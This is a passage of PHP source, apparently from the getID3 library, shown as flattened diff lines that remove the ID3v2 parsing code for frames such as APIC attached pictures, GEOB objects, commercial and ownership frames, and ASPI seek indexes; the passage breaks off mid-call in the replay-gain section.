RVRB Reverb - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) { // 4.14 REV Reverb - // There may only be one 'RVRB' frame in each tag. - //
                              - // Reverb left (ms) $xx xx - // Reverb right (ms) $xx xx - // Reverb bounces, left $xx - // Reverb bounces, right $xx - // Reverb feedback, left to left $xx - // Reverb feedback, left to right $xx - // Reverb feedback, right to right $xx - // Reverb feedback, right to left $xx - // Premix left to right $xx - // Premix right to left $xx - - $frame_offset = 0; - $parsedFrame['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['bouncesL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['bouncesR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['feedbackLL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['feedbackLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['feedbackRR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['feedbackRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['premixLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['premixRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14 APIC Attached picture - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) { // 4.15 PIC Attached picture - // There may be several pictures attached to one file, - // each in their individual 'APIC' frame, but only one - // with the same content descriptor - //
                              - // Text encoding $xx - // ID3v2.3+ => MIME type $00 - // ID3v2.2 => Image format $xx xx xx - // Picture type $xx - // Description $00 (00) - // Picture data - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - - $frame_imagetype = null; - $frame_mimetype = null; - if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) { - $frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3); - if (strtolower($frame_imagetype) == 'ima') { - // complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted - // MIME type instead of 3-char ID3v2.2-format image type (thanks xbhoffØpacbell*net) - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_mimetype) === 0) { - $frame_mimetype = ''; - } - $frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype))); - if ($frame_imagetype == 'JPEG') { - $frame_imagetype = 'JPG'; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - } else { - $frame_offset += 3; - } - } - if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) { - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_mimetype) === 0) { - $frame_mimetype = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - } - - $frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - - if ($frame_offset >= $parsedFrame['datalength']) { - $this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset)); - } else { - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - if ($id3v2_majorversion == 2) { - $parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null; - } else { - $parsedFrame['mime'] = isset($frame_mimetype) ? $frame_mimetype : null; - } - $parsedFrame['picturetypeid'] = $frame_picturetype; - $parsedFrame['picturetype'] = $this->APICPictureTypeLookup($frame_picturetype); - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); - $parsedFrame['datalength'] = strlen($parsedFrame['data']); - - $parsedFrame['image_mime'] = ''; - $imageinfo = array(); - if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) { - if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) { - $parsedFrame['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); - if ($imagechunkcheck[0]) { - $parsedFrame['image_width'] = $imagechunkcheck[0]; - } - if ($imagechunkcheck[1]) { - $parsedFrame['image_height'] = $imagechunkcheck[1]; - } - } - } - - do { - if ($this->getid3->option_save_attachments === false) { - // skip entirely - unset($parsedFrame['data']); - break; - } - $dir = ''; - if ($this->getid3->option_save_attachments === true) { - // great -/* - } elseif (is_int($this->getid3->option_save_attachments)) { - if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) { - // too big, skip - $this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)'); - unset($parsedFrame['data']); - break; - } -*/ - } elseif (is_string($this->getid3->option_save_attachments)) { - $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); - if (!is_dir($dir) || !getID3::is_writable($dir)) { - // cannot write, skip - $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)'); - unset($parsedFrame['data']); - break; - } - } - // if we get this far, must be OK - if (is_string($this->getid3->option_save_attachments)) { - $destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset; - if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) { - file_put_contents($destination_filename, $parsedFrame['data']); - } else { - $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)'); - } - $parsedFrame['data_filename'] = $destination_filename; - unset($parsedFrame['data']); - } else { - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - if (!isset($info['id3v2']['comments']['picture'])) { - $info['id3v2']['comments']['picture'] = array(); - } - $comments_picture_data = array(); - foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { - if (isset($parsedFrame[$picture_key])) { - $comments_picture_data[$picture_key] = $parsedFrame[$picture_key]; - } - } - $info['id3v2']['comments']['picture'][] = $comments_picture_data; - unset($comments_picture_data); - } - } - } while (false); - } - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15 GEOB General encapsulated object - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) { // 4.16 GEO General encapsulated object - // There may be more than one 'GEOB' frame in each tag, - // but only one with the same content descriptor - //
                              - // Text encoding $xx - // MIME type $00 - // Filename $00 (00) - // Content description $00 (00) - // Encapsulated object - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_mimetype) === 0) { - $frame_mimetype = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_filename) === 0) { - $frame_filename = ''; - } - $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); - - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); - - $parsedFrame['objectdata'] = (string) substr($parsedFrame['data'], $frame_offset); - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['mime'] = $frame_mimetype; - $parsedFrame['filename'] = $frame_filename; - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16 PCNT Play counter - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) { // 4.17 CNT Play counter - // There may only be one 'PCNT' frame in each tag. - // When the counter reaches all one's, one byte is inserted in - // front of the counter thus making the counter eight bits bigger - //
                              - // Counter $xx xx xx xx (xx ...) - - $parsedFrame['data'] = getid3_lib::BigEndian2Int($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17 POPM Popularimeter - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) { // 4.18 POP Popularimeter - // There may be more than one 'POPM' frame in each tag, - // but only one with the same email address - //
                              - // Email to user $00 - // Rating $xx - // Counter $xx xx xx xx (xx ...) - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_emailaddress) === 0) { - $frame_emailaddress = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - $frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); - $parsedFrame['email'] = $frame_emailaddress; - $parsedFrame['rating'] = $frame_rating; - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18 RBUF Recommended buffer size - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) { // 4.19 BUF Recommended buffer size - // There may only be one 'RBUF' frame in each tag - //
                              - // Buffer size $xx xx xx - // Embedded info flag %0000000x - // Offset to next tag $xx xx xx xx - - $frame_offset = 0; - $parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3)); - $frame_offset += 3; - - $frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1); - $parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20 Encrypted meta frame (ID3v2.2 only) - // There may be more than one 'CRM' frame in a tag, - // but only one with the same 'owner identifier' - //
                              - // Owner identifier $00 (00) - // Content/explanation $00 (00) - // Encrypted datablock - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $parsedFrame['ownerid'] = $frame_ownerid; - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19 AENC Audio encryption - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) { // 4.21 CRA Audio encryption - // There may be more than one 'AENC' frames in a tag, - // but only one with the same 'Owner identifier' - //
                              - // Owner identifier $00 - // Preview start $xx xx - // Preview length $xx xx - // Encryption info - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_ownerid) === 0) { - $frame_ownerid = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - $parsedFrame['ownerid'] = $frame_ownerid; - $parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset); - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20 LINK Linked information - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) { // 4.22 LNK Linked information - // There may be more than one 'LINK' frame in a tag, - // but only one with the same contents - //
                              - // ID3v2.3+ => Frame identifier $xx xx xx xx - // ID3v2.2 => Frame identifier $xx xx xx - // URL $00 - // ID and additional data - - $frame_offset = 0; - if ($id3v2_majorversion == 2) { - $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3); - $frame_offset += 3; - } else { - $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4); - $frame_offset += 4; - } - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_url) === 0) { - $frame_url = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - $parsedFrame['url'] = $frame_url; - - $parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset); - if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']); - } - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) - // There may only be one 'POSS' frame in each tag - //
                              - // Time stamp format $xx - // Position $xx (xx ...) - - $frame_offset = 0; - $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['position'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22 USER Terms of use (ID3v2.3+ only) - // There may be more than one 'Terms of use' frame in a tag, - // but only one with the same 'Language' - //
                              - // Text encoding $xx - // Language $xx xx xx - // The actual text - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - } - $frame_language = substr($parsedFrame['data'], $frame_offset, 3); - $frame_offset += 3; - $parsedFrame['language'] = $frame_language; - $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); - } - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23 OWNE Ownership frame (ID3v2.3+ only) - // There may only be one 'OWNE' frame in a tag - //
                              - // Text encoding $xx - // Price paid $00 - // Date of purch. - // Seller - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - } - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3); - $parsedFrame['pricepaid']['currency'] = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']); - $parsedFrame['pricepaid']['value'] = substr($frame_pricepaid, 3); - - $parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8); - if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) { - $parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4)); - } - $frame_offset += 8; - - $parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset); - $parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding)); - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24 COMR Commercial frame (ID3v2.3+ only) - // There may be more than one 'commercial frame' in a tag, - // but no two may be identical - //
                              - // Text encoding $xx - // Price string $00 - // Valid until - // Contact URL $00 - // Received as $xx - // Name of seller $00 (00) - // Description $00 (00) - // Picture MIME type $00 - // Seller logo - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - $frame_rawpricearray = explode('/', $frame_pricestring); - foreach ($frame_rawpricearray as $key => $val) { - $frame_currencyid = substr($val, 0, 3); - $parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid); - $parsedFrame['price'][$frame_currencyid]['value'] = substr($val, 3); - } - - $frame_datestring = substr($parsedFrame['data'], $frame_offset, 8); - $frame_offset += 8; - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_sellername) === 0) { - $frame_sellername = ''; - } - $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); - - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $frame_sellerlogo = substr($parsedFrame['data'], $frame_offset); - - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['pricevaliduntil'] = $frame_datestring; - $parsedFrame['contacturl'] = $frame_contacturl; - $parsedFrame['receivedasid'] = $frame_receivedasid; - $parsedFrame['receivedas'] = $this->COMRReceivedAsLookup($frame_receivedasid); - $parsedFrame['sellername'] = $frame_sellername; - $parsedFrame['mime'] = $frame_mimetype; - $parsedFrame['logo'] = $frame_sellerlogo; - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25 ENCR Encryption method registration (ID3v2.3+ only) - // There may be several 'ENCR' frames in a tag, - // but only one containing the same symbol - // and only one containing the same owner identifier - //
                              - // Owner identifier $00 - // Method symbol $xx - // Encryption data - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_ownerid) === 0) { - $frame_ownerid = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $parsedFrame['ownerid'] = $frame_ownerid; - $parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26 GRID Group identification registration (ID3v2.3+ only) - - // There may be several 'GRID' frames in a tag, - // but only one containing the same symbol - // and only one containing the same owner identifier - //
                              - // Owner identifier $00 - // Group symbol $xx - // Group dependent data - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_ownerid) === 0) { - $frame_ownerid = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $parsedFrame['ownerid'] = $frame_ownerid; - $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27 PRIV Private frame (ID3v2.3+ only) - // The tag may contain more than one 'PRIV' frame - // but only with different contents - //
                              - // Owner identifier $00 - // The private data - - $frame_offset = 0; - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_ownerid) === 0) { - $frame_ownerid = ''; - } - $frame_offset = $frame_terminatorpos + strlen("\x00"); - - $parsedFrame['ownerid'] = $frame_ownerid; - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - - - } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28 SIGN Signature frame (ID3v2.4+ only) - // There may be more than one 'signature frame' in a tag, - // but no two may be identical - //
                              - // Group symbol $xx - // Signature - - $frame_offset = 0; - $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - - - } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29 SEEK Seek frame (ID3v2.4+ only) - // There may only be one 'seek frame' in a tag - //
                              - // Minimum offset to next tag $xx xx xx xx - - $frame_offset = 0; - $parsedFrame['data'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - - - } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30 ASPI Audio seek point index (ID3v2.4+ only) - // There may only be one 'audio seek point index' frame in a tag - //
                              - // Indexed data start (S) $xx xx xx xx - // Indexed data length (L) $xx xx xx xx - // Number of index points (N) $xx xx - // Bits per index point (b) $xx - // Then for every index point the following data is included: - // Fraction at index (Fi) $xx (xx) - - $frame_offset = 0; - $parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8); - for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) { - $parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint)); - $frame_offset += $frame_bytesperpoint; - } - unset($parsedFrame['data']); - - } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment - // http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html - // There may only be one 'RGAD' frame in a tag - //
                              - // Peak Amplitude $xx $xx $xx $xx - // Radio Replay Gain Adjustment %aaabbbcd %dddddddd - // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd - // a - name code - // b - originator code - // c - sign bit - // d - replay gain adjustment - - $frame_offset = 0; - $parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - foreach (array('track','album') as $rgad_entry_type) { - $rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); - $frame_offset += 2; - $parsedFrame['raw'][$rgad_entry_type]['name'] = ($rg_adjustment_word & 0xE000) >> 13; - $parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10; - $parsedFrame['raw'][$rgad_entry_type]['signbit'] = ($rg_adjustment_word & 0x0200) >> 9; - $parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100); - } - $parsedFrame['track']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']); - $parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']); - $parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']); - $parsedFrame['album']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']); - $parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']); - $parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], 